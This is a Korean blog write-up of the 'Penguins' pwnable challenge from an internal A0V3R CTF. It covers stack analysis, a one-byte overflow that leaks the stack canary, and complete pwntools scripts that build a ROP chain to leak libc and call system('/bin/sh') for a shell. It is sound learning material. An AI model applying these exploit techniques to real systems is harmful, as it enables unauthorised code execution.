-
A0V3R Internal CTF 2019 Penguins(by 석지원 형) Write-upWeekHack/Pwnable 2019. 5. 25. 03:22반응형SMALL
안녕하세요. Luke입니다. 오랜만에 포스팅을 하는 것 같군요. 어쨋든 군말없이 문제풀이 시작하도록 하겠습니다. 이 바이너리는 올해 초 A0V3R 내부 CTF(지금도 늅늅이지만 더욱더 늅늅이 시절?) 제가 풀 수 있는 모든 문제를 풀고 다음 문제를 건들여 보고 싶어서 건들여본(?) 문제 입니다. 이 문제 덕분에 CTF 도중 Plaid CTF의 ropasaurusrex를 풀며 현장에서 ROP를 익혔으나... 그 당시에는 뭔지도 모르는 까나리에 의해서 못푼 아픔이 있는(?) 문제입니다.
그 이후로 메모리 보호 기법을 하나 씩 조져가면서 공부했으며 드디어 이 문제를 다시 풀어볼 날이 오게 되었네요!
아래 그림은 실제 해당 CTF 당시 나왔던 문제입니다.
일단 해당 바이너리가 내부 CTF여서 흔한 바이너리가 아닙니다. 그래서 제가 바이너리를 올려두도록 하겠습니다. 함께 푸실 분은 함께 푸시죠! (출제자 석지원 형께 허락 받았습니다. 2차 배포는 삼가주세요.)
먼저 해당 바이너리를 Run 시켜보도록 하겠습니다.
펭귄 바이너리를 실행시키면 큰 펭귄그림이 나오고 꿱꿱거리며 이름을 물어봅니다.
그후 차가운(?) 인사를 건내며 이름을 다시 불러줍니다.
그리고 또 꿱꿱거리며 입력을 한번 더 받고 끝납니다.
(이 펭귄.... 문제 안풀릴때는 얼마나 시끄러워보이던지..)
정말 이게 생각나더군요..?
Run시킨 후 할 일은 IDA로 Hex-ray 돌려서 의사코드를 받아 오는 것이지요.
(이건 제가 개인적인 호기심에 삽질한거지만... 저기 위에 v2=__readgsdword(0x14u) 부분은 Canary를 의미합니다. IDA 7.0에서는 MK_FP가 저렇게 나오더라고요. 뭐 문제풀이에 큰 지장은 없지만 저같이 삽질하지 마시고 알아두셔요 ㅠㅠ)
먼저 버퍼의 크기를 구해보겠습니다.
v2는 카나리로 0x4(4)만큼 ebp보다 뒤에 있네요. 그러니 크기는 4입니다.
그리고 s는 buffer로 0xFC(252)만큼 뒤에 있으니 v2의 크기를 뺀 248(252-4)의 크기를 가지게 됩니다.
그럼 바이너리가 어떻게 작동하는지 조금 더 상세히 분석해보겠습니다.
1. 큰 펭귄 그림 출력(큰 의미 없음)
2. 이름 물어보고(큰 의미없음)
3. read로 0xF9(249)의 크기만큼 입력받음(매우 수상)
4. 꿱꿱거림(의미 없음)
5. 또 read로 버퍼보다는 무지막지하게 입력받음(딱봐도 여긴 취약점)
평소 제 라업을 보신 분들은 알겠지만 5번은 볼것도 없고 일단 3번 단계는 수상합니다. 버퍼가 248의 크기를 가지게 되는데 쟤는 그거보다 하나 더 많은 249의 입력을 받는다네요? 수상하쥬?
왠지 느낌이 옵니다. 1만큼 \n으로 오버플로우 시켜서 카나리의 0x00부분을 덮어버리면 카나리가 릭 될 것같은 굳건한 삘이 말이죠.
그래서 한번 덮어봤습니다. 아래의 코드를 사용하여 카나리를 Leak해보았습니다.
from pwn import * #context.log_level = 'debug' bina="./penguins" p=process(bina) e=ELF(bina) libc=e.libc p.recvuntil('ggueck!ggueck!! What your name?? : ') can_leak="A"*248 p.sendline(can_leak) p.recvuntil("A"*248) canary=u32(p.recv(4))-ord('\n') log.success(hex(canary)
결과는...!
성공적으로 Leak이 되어 0xae33464라는 값이 카나리로 나오게 되었습니다.
그리고.. 개인적으로 이렇게 leak을 하는 방법이 아닌 Brute-Force를 통해 카나리를 구해보려 삽질을 했었는데... 결론만 말하자면 안됩니다. Brute-Force는 fork()가 있을 때만 카나리가 바뀌지 않기 때문에 그때에만 사용이 가능합니다.
예를 들어 다시 똑같은 익스코드를 실행시키면
전혀 다른 카나리 값이 나오게 됩니다. fork가 없는 경우에는 브루트포싱으로 카나리 값을 구해서는 안되겠습니다.
그럼 이제 아까 분석했던 것으로 돌아가 이제 5번을 한번 보겠습니다.
5번에서는 너무나도 많을 입력을 받아 변수에 넣기 때문에 취약점이 딱봐도 터질 것 같습니다. 여기서부턴 Buffer+카나리+SFP만 넣어준 뒤 항상 늘 해왔던 ROP를 하면 될 것 같습니다.
그럼 일단 ROP의 준비물인 ROP가젯을 준비하겠습니다.
pr=0x80483e1
pppr=0x8048799
puts하고 read만 쓸거 같아서 두개만 찾았습니다.
그럼 본격적으로 익스를 시작해봅시다!
from pwn import * #context.log_level = 'debug' bina="./penguins" p=process(bina) e=ELF(bina) libc=e.libc p.recvuntil('ggueck!ggueck!! What your name?? : ') can_leak="A"*248 p.sendline(can_leak) p.recvuntil("A"*248) canary=u32(p.recv(4))-ord('\n') log.success(hex(canary)) p.recvuntil('ggueck!ggueck!!ggueck!ggueck!!ggueck!ggueck!!ggueck!ggueck!! :') pay="A"*248 pay+=p32(canary) pay+="AAAA" pr=0x80483e1 pppr=0x8048799 main=0x0804857B puts_plt=e.plt['puts'] puts_got=e.got['puts'] read_got=e.got['read'] read_plt=e.plt['read'] pay+=p32(puts_plt) pay+=p32(pr) pay+=p32(read_got) pay+=p32(main) p.send(pay) leak=u32(p.recv(4)) base=leak-libc.symbols['read'] system=base+libc.symbols['system'] binsh=base+next(libc.search("/bin/sh")) p.recvuntil('ggueck!ggueck!! What your name?? : ') p.sendline('aaa') p.recvuntil('ggueck!ggueck!!ggueck!ggueck!!ggueck!ggueck!!ggueck!ggueck!! :') pay2="A"*248 pay2+=p32(canary) pay2+="AAAA" pay2+=p32(system) pay2+="AAAA" pay2+=p32(binsh) p.sendline(pay2) p.interactive()
실행결과는~~!
보시다시피 쉘을 따냈습니다.
처음 도전해본 Canary라서 삽질도 많이했고 이래저래 여러가지를 만져본것 같습니다. 이렇게 삽질을 한번 하고나면 얻어가는 것들이 많아 뿌듯합니다!
반응형LIST